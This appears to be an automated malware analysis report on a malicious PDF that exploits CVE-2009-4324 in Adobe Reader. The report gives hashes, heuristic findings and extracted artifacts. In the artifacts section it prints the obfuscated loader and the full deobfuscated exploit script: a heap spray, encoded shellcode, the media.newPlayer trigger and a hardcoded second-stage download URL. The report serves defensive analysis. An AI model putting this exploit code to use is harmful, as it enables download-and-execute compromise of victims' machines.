Malicious PDF — malware analysis report

Static analysis result for SHA-256 fc021c52ad04d7af…

MALICIOUS

PDF

2.3 KB First seen: 2026-05-10
MD5: 1b02e2c91ba1f2390dcb23adfaf227a9 SHA-1: 9f0605da9ce51b124c13cc1b6463d4ce4c1008fe SHA-256: fc021c52ad04d7af565f623baad7e068885314001bb355220e5f8bf00cf50776
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript T1204.002 Malicious File

The PDF document contains embedded JavaScript that is heavily obfuscated using eval() and unescape() functions, along with String.fromCharCode. Heuristics indicate this JavaScript is designed to exploit CVE-2009-4324. The deobfuscated JavaScript, identified as Js.Exploit.Shellcode-18 by ClamAV, likely downloads and executes a second-stage payload. The specific exploit and obfuscation techniques point to a malicious PDF designed for initial payload delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://sircic.com/new/l.php?i=16 Referenced by PDF JavaScript
🗂 Part of campaign: sircic.com 3 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x81D 478 bytes
SHA-256: e7d1232c16a6e584ebcad6ed89ed39659361935894de0b1df6aee2e4fe16ce04
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2421 bytes
SHA-256: c24fb7f72b0a9e39d1563f69446fa6127208d9dc77e55464c9c8416a3d401520
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function a(){util.printd('p@111111111111111111111111 : yyyy111', new Date());}var h = app.plugIns;for (var f=0; f < h.length; f++){if (h[f].name=='EScript'){var i=h[f].version;}}if((i>8.12)&&(i<8.2)){c=new Array();var d = unescape('%u9090%u9090');var e = unescape('%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u732f%u7269%u6963%u2e63%u6f63%u2f6d%u656e%u2f77%u2e6c%u6870%u3f70%u3d69%u3631%u9000');while(d.length <= 0x8000){d+=d;}d=d.substr(0,0x8000 - e.length);for(f=0;f<2900;f++) {c[f]=d + e;}a();a();try {this.media.newPlayer(null);} catch(e) {}a();}

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